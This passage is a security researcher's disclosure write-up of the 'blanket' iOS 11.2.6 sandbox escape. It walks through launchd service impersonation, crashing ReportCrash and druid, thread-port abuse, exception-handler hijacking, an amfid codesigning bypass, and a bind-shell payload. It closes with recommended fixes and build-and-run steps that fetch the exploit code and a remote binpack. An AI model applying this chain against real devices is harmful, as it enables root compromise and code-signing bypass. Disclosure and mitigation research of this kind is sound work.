In order to exit ReportCrash, we can simply send it any other type of Mach message.

There are many ways to crash ReportCrash. The easiest is probably to send a mach_exception_raise_state_identity message with the thread port set to MACH_PORT_NULL.

Finally, we need to ensure that ReportCrash does not exit while we’re using it. Each mach_exception_raise_state_identitymessage that it processes causes it to spin off another thread to listen for the next message while the original thread generates the crash report. ReportCrash will exit once all of the outstanding threads generating a crash report have finished. Thus, if we can stall one of those threads while it is in the process of generating a crash report, we can keep it from ever exiting.

The easiest way I found to do that was to send a mach_exception_raise_state_identity message with a custom port in the task and thread fields. Once ReportCrash tries to generate a crash report, it will call task_policy_get on the «task» port, which will cause it to send a Mach message to the port that we sent and await a reply. But since the «task» port is just a regular old Mach port, we can simply not reply to the Mach message, and ReportCrash will wait indefinitely for task_policy_get to return.

Extracting host-priv from ReportCrash

For the first stage of the exploit, the attack plan is relatively straightforward:

  1. Start the SafetyNet service and force it to stay alive for the duration of our attack.
  2. Use the launchd service impersonation primitive to impersonate SafetyNet. This gives us a new port on which we can receive messages intended for the real SafetyNet service.
  3. Make any existing instance of ReportCrash exit. That way, we can ensure that ReportCrash looks up our SafetyNet port in the next step.
  4. Start ReportCrash. ReportCrash will look up SafetyNet in launchd and set the resulting port, which is the fake SafetyNet port for which we own the receive right, as the destination for EXC_CRASH messages.
  5. Trigger a crash in ReportCrash. After seeing that there are no registered handlers for the original exception type, ReportCrash will enter the process death phase. At this point XNU will see that ReportCrash registered the fake SafetyNet port to receive EXC_CRASH exceptions, so it will generate an exception message and send it to that port.
  6. We then listen on the fake SafetyNet port for the EXC_CRASH message. It will be of type mach_exception_raise, which means it will contain ReportCrash’s task port.
  7. Finally, we use task_get_special_port on the ReportCrash task port to get ReportCrash’s host port. Since ReportCrash is unsandboxed and runs as root, this is the host-priv port.

At the end of this stage of the sandbox escape, we end up with a usable host-priv port. This alone demonstrates that this is a serious security issue.

Stage 2: Escaping the sandbox

Even though we have the host-priv port, our goal is to fully escape the sandbox and run code as root with the task_for_pid-allow entitlement. The first step in achieving that is to simply escape the sandbox.

Technically speaking there’s no reason we need to obtain the host-priv port before escaping the sandbox: these two steps are independent and can occur in either order. However, this stage will leave the system unstable if it or subsequent stages fail, so it’s worth putting later.

The high-level attack is to use the same launchd vulnerability again to impersonate a system service. However, this time our goal is to impersonate a service to which a client will send its task port in a Mach message. It’s easy to find by experimentation on iOS 11.2.6 that if we impersonate com.apple.CARenderServer (hereafter CARenderServer) hosted by backboardd and then communicate with com.apple.DragUI.druid.source, the unsandboxed druid daemon will send its task port in a Mach message to the fake service port.

This step of the exploit is broken on iOS 11.3 because druid no longer sends its task port in the Mach message to CARenderServer. Despite this, I’m confident that this vulnerability can still be used to escape the sandbox. One way to go about this is to look for unsandboxed services that trust input from other services. These types of «vulnerabilities» would never be exploitable without the capability to replace system services, which means they are probably a low-priority attack surface, both internally and externally to Apple.

Crashing druid

Just like with ReportCrash, we need to be able to force druid to restart in case it is already running so that it looks up our fake CARenderServer port in launchd. I decided to use a bug in libxpc that was already scheduled to be fixed for this purpose.

While looking through libxpc, I found an out-of-bounds read that could be used to force any XPC service to crash:

void _xpc_dictionary_apply_wire_f
(
        OS_xpc_dictionary *xdict,
        OS_xpc_serializer *xserializer,
        const void *context,
        bool (*applier_fn)(const char *, OS_xpc_serializer *, const void *)
)
{
...
    uint64_t count = (unsigned int)*serialized_dict_count;
    if ( count )
    {
        uint64_t depth = xserializer->depth;
        uint64_t index = 0;
        do
        {
            const char *key = _xpc_serializer_read(xserializer, 0, 0, 0);
            size_t keylen = strlen(key);
            _xpc_serializer_advance(xserializer, keylen + 1);
            if ( !applier_fn(key, xserializer, context) )
                break;
            xserializer->depth = depth;
            ++index;
        }
        while ( index < count );
    }
...
}

The problem is that the use of an unchecked strlen on attacker-controlled data allows the key for the serialized dictionary entry to extend beyond the end of the data buffer. This means the XPC service deserializing the dictionary will crash, either when strlen dereferences out-of-bounds memory or when _xpc_serializer_advance tries to advance the serializer past the end of the supplied data.

This bug was already fixed in iOS 11.3 Beta by the time I discovered it, so I did not report it to Apple. The exploit is available as an independent project in my xpc-crash repository.

In order to use this bug to crash druid, we simply need to send the druid service a malformed XPC message such that the dictionary’s key is unterminated and extends to the last byte of the message.

Obtaining druid’s task port

Obtaining druid’s task port on iOS 11.2.6 using our service impersonation primitive is easy:

  1. Use the Mach service impersonation capability to impersonate CARenderServer.
  2. Send a message to the druid service so that it starts up.
  3. If we don’t get druid’s task port after a few seconds, kill druid using the XPC bug and restart it.
  4. Druid will send us its task port on the fake CARenderServer port.

Getting around the platform binary task port restrictions

Once we have druid’s task port, we still need to figure out how to execute code inside the druid process.

The problem is that XNU protects task ports for platform binaries from being modified by non-platform binaries. The defense is implemented in the function task_conversion_eval, which is called by convert_port_to_locked_task and convert_port_to_task_with_exec_token:

kern_return_t
task_conversion_eval(task_t caller, task_t victim)
{
	/*
	 * Tasks are allowed to resolve their own task ports, and the kernel is
	 * allowed to resolve anyone's task port.
	 */
	if (caller == kernel_task) {
		return KERN_SUCCESS;
	}

	if (caller == victim) {
		return KERN_SUCCESS;
	}

	/*
	 * Only the kernel can can resolve the kernel's task port. We've established
	 * by this point that the caller is not kernel_task.
	 */
	if (victim == kernel_task) {
		return KERN_INVALID_SECURITY;
	}

#if CONFIG_EMBEDDED
	/*
	 * On embedded platforms, only a platform binary can resolve the task port
	 * of another platform binary.
	 */
	if ((victim->t_flags & TF_PLATFORM) && !(caller->t_flags & TF_PLATFORM)) {
#if SECURE_KERNEL
		return KERN_INVALID_SECURITY;
#else
		if (cs_relax_platform_task_ports) {
			return KERN_SUCCESS;
		} else {
			return KERN_INVALID_SECURITY;
		}
#endif /* SECURE_KERNEL */
	}
#endif /* CONFIG_EMBEDDED */

	return KERN_SUCCESS;
}

MIG conversion routines that rely on these functions, including convert_port_to_task and convert_port_to_map, will thus fail when we call them on druid’s task. For example, mach_vm_write won’t allow us to manipulate druid’s memory.

However, while looking at the MIG file osfmk/mach/task.defs in XNU, I noticed something interesting:

/*
 *	Returns the set of threads belonging to the target task.
 */
routine task_threads(
		target_task	: task_inspect_t;
	out	act_list	: thread_act_array_t);

The function task_threads, which enumerates the threads in a task, actually takes a task_inspect_t rather than a task_t, which means MIG converts it using convert_port_to_task_inspect rather than convert_port_to_task. A quick look atconvert_port_to_task_inspect reveals that this function does not perform the task_conversion_eval check, meaning we can call it successfully on platform binaries. This is interesting because the returned threads are not thread_inspect_t rights, but rather full thread_act_t rights. Put another way, task_threads promotes a non-modifiable task right into modifiable thread rights. And since there’s no equivalent thread_conversion_eval, this means we can use the Mach thread APIs to modify the threads in a task even if that task is a platform binary.

In order to take advantage of this, I wrote a library called threadexec which builds a full-featured function call capability on top of the Mach threads API. The threadexec project in and of itself was a significant undertaking, but as it is only indirectly relevant to this exploit, I will forego a detailed explanation of its inner workings.

Stage 3: Installing a new host-level exception handler

Once we have the host-priv port and unsandboxed code execution inside of druid, the next stage of the full sandbox escape is to install a new host-level exception handler. This process is straightforward given our current capabilities:

  1. Get the current host-level exception handler for EXC_BAD_ACCESS by calling host_get_exception_ports.
  2. Allocate a Mach port that will be the new host-level exception handler for EXC_BAD_ACCESS.
  3. Send the host-priv port and a send right to the Mach port we just allocated over to druid.
  4. Using our execution context in druid, make druid call host_set_exception_ports to register our Mach port as the host-level exception handler for EXC_BAD_ACCESS.

After this stage, any time a process accesses an invalid memory address (and also does not have a registered exception handler), an EXC_BAD_ACCESS exception message will be sent to our new exception handler port. This will give us the task port of any crashing process, and since EXC_BAD_ACCESS is a recoverable exception, this time we can use the task port to execute code.

Stage 4: Getting ReportCrash’s task port

The next stage is to trigger an EXC_BAD_ACCESS exception in ReportCrash so that its task port gets sent in an exception message to our new exception handler port:

  1. Crash ReportCrash using the previously described technique. This will cause ReportCrash to generate an EXC_BAD_ACCESSexception. Since ReportCrash has no exception handler registered for EXC_BAD_ACCESS (remember SafetyNet is registered for EXC_CRASH), the exception will be delivered to the host-level exception handler.
  2. Listen for exception messages on our host exception handler port.
  3. When we receive the exception message for ReportCrash, save the task and thread ports. Suspend the crashing thread and return KERN_SUCCESS to indicate to the kernel that the exception has been handled and ReportCrash can be resumed.
  4. Use the task and thread ports to establish an execution context inside ReportCrash just like we did with druid.

At this point, we have code execution inside an unsandboxed, root, task_for_pid-allow process.

Stage 5: Restoring the original host-level exception handler

The next two stages aren’t strictly necessary but should be performed anyway.

Once we have code execution inside ReportCrash, we should reset the host-level exception handler for EXC_BAD_ACCESS using druid:

  1. Send the old host-level exception handler port over to druid.
  2. Call host_set_exception_ports in druid to re-register the old host-level exception handler for EXC_BAD_ACCESS.

This will stop our exception handler port from receiving exception messages for other crashing processes.

Stage 6: Fixing up launchd

The last step is to restore the damage we did to launchd when we freed service ports in its IPC namespace in order to impersonate them:

  1. Call task_for_pid in ReportCrash to get launchd’s task port.
  2. For each service we impersonated:
    1. Get launchd’s name for the send right to the fake service port. This is the original name of the real service port.
    2. Destroy the fake service port, deregistering the fake service with launchd.
    3. Call mach_port_insert_right in ReportCrash to push the real service port into launchd’s IPC space under the original name.

After this step is done, the system should once again be fully functional. After successful exploitation, there should be no need to force reset the device, since the exploit repairs all the damages itself.

Post-exploitation

Blanket also packages a post-exploitation payload that bypasses amfid and spawns a bind shell. This section will describe how that is achieved.

Spawning a payload process

Even after gaining code execution in ReportCrash, using that capability is not easy: we are limited to performing individual function calls from within the process, which makes it painful to perform complex tasks. Ideally, we’d like a way to run code natively with ReportCrash’s privileges, either by injecting code into ReportCrash or by spawning a new process with the same (or higher) privileges.

Blanket chooses the process spawning route. We use task_for_pid and our platform binary status in ReportCrash to get launchd’s task port and create a new thread inside of launchd that we can control. We then use that thread to call posix_spawnto launch our payload binary. The payload binary can be signed with restricted entitlements, including task_for_pid-allow, to grant additional capabilities.

Bypassing amfid

In order for iOS to accept our newly spawned binary, we need to bypass codesigning. Various strategies have been discussed over the years, but the most common current strategy is to register an exception handler for amfid and then perform a data patch so that amfid crashes when trying to call MISValidateSignatureAndCopyInfo. This allows us to fake the implementation of that function to pretend that the code signature is valid.

However, there’s another approach which I believe is more robust and flexible: rather than patching amfid at all, we can simply register a new amfid port in the kernel.

The kernel keeps track of which port to send messages to amfid using a host special port called HOST_AMFID_PORT. If we have unsandboxed root code execution, we can set this port to a new value. Apple has protected against this attack by checking whether the reply to a validation request really came from amfid: the cdhash of the sender is compared to amfid’s cdhash. However, this doesn’t actually prevent the message from being sent to a process other than amfid; it only prevents the reply from coming from a non-amfid process. If we set up a triangle where the kernel sends messages to us, we generate the reply and pass it to amfid, and then amfid sends the reply to the kernel, then we’ll be able to bypass the sender check.

There are numerous advantages to this approach, of which the biggest is probably access to additional flags in the verify_code_directory service routine. Even though amfid does not use them all, there are many other output flags that amfid could set to control the behavior of codesigning. Here’s a partial prototype of verify_code_directory:

kern_return_t
verify_code_directory(
		mach_port_t    amfid_port,
		amfid_path_t   path,
		uint64_t       file_offset,
		int32_t        a4,
		int32_t        a5,
		int32_t        a6,
		int32_t *      entitlements_valid,
		int32_t *      signature_valid,
		int32_t *      unrestrict,
		int32_t *      signer_type,
		int32_t *      is_apple,
		int32_t *      is_developer_code,
		amfid_a13_t    a13,
		amfid_cdhash_t cdhash,
		audit_token_t  audit);

Of particular interest for jailbreak developers is the is_apple parameter. This parameter does not appear to be used by amfid, but if set, it will cause the kernel to set the CS_PLATFORM_BINARY codesigning flag, which grants the application platform binary privileges. In particular, this means that the application can now use task ports to modify platform binaries directly.

Loopholes used in this attack

This attack takes advantage of several loopholes that aren’t security vulnerabilities themselves but do minimize the effectiveness of various exploit mitigations. Not all of these need to be closed together, since some are partially redundant, but it’s worth listing them all anyway.

In the kernel:

  1. task_threads can promote an inspect-only task_inspect_t to a modify-capable thread_act_t.
  2. There is no thread_conversion_eval to perform the role of task_conversion_eval for threads.
  3. A non-platform binary may use a task_inspect_t right for a platform binary.
  4. Exception messages for unsandboxed processes may be delivered to sandboxed processes, even though that provides a way to escape the sandbox. It’s not clear whether there is a clean fix for this loophole.
  5. Unsandboxed code execution, the host-priv port, and the ability to crash a task_for_pid-allow process can be combined to build a task_for_pid workaround. (The workaround is: call host_set_exception_ports to set a new host-level exception handler, then crash the task_for_pid-allow process to receive its task port and execute code with the entitlement.)

In app extensions:

  1. App extensions that share an application group can communicate using Mach messages, despite the documentation suggesting that communication between the host app and the app extension should be impossible.

Recommended fixes and mitigations

I recommend the following fixes, roughly in order of importance:

  1. Only deallocate Mach ports in the launchd service routines when returning KERN_SUCCESS. This will fix the Mach port replacement vulnerability.
  2. Close the task_threads loophole allowing a non-platform binary to use the task port of a platform binary to achieve code execution.
  3. Fix crashing issues in ReportCrash.
  4. The set of Mach services reachable from within the container sandbox should be minimized. I do not see a legitimate reason for most iOS apps to communicate with ReportCrash or SafetyNet.
  5. As many processes as possible should be sandboxed. I’m not sure whether druid needs to be unsandboxed to function properly, but if not, it should be placed in an appropriate sandbox.
  6. Dead code should be eliminated. SafetyNet does not seem to be performing its intended functionality. If it is no longer needed, it should probably be removed.
  7. Close the host_set_exception_ports-based task_for_pid workaround. For example, consider whether it’s worth restricting host_set_exception_ports to root or restricting the usability of the host-priv port under some configurations. This violates the elegant capabilities-based design of Mach, but host_set_exception_ports might be a promising target for abuse.
  8. Consider whether it’s worth adding task_conversion_eval to task_inspect_t.

Running blanket

Blanket should work on any device running iOS 11.2.6.

  1. Download the project:
    git clone https://github.com/bazad/blanket
    cd blanket
    
  2. Download and build the threadexec library, which is required for blanket to inject code in processes and tasks:
    git clone https://github.com/bazad/threadexec
    cd threadexec
    make ARCH=arm64 SDK=iphoneos EXTRA_CFLAGS='-mios-version-min=11.1 -fembed-bitcode'
    cd ..
    
  3. Download Jonathan Levin’s iOS binpack, which contains the binaries that will be used by the bind shell. If you change the payload to do something else, you won’t need the binpack.
    mkdir binpack
    curl http://newosxbook.com/tools/binpack64-256.tar.gz | tar -xf- -C binpack
    
  4. Open Xcode and configure the project. You will need to change the signing identifier and specify a custom application group entitlement.
  5. Edit the file headers/config.h and change APP_GROUP to whatever application group identifier you specified earlier.

After that, you should be able to build and run the project on the device.

If blanket is successful, it will run the payload binary (source in blanket_payload/blanket_payload.c), which by default spawns a bind shell on port 4242. You can connect to that port with netcat and run arbitrary shell commands.

Credits

Many thanks to Ian Beer and Jonathan Levin for their excellent iOS security and internals research.

Timeline

Apple assigned the Mach port replacement vulnerability in launchd CVE-2018-4280, and it was patched in iOS 11.4.1 and macOS 10.13.6 on July 9.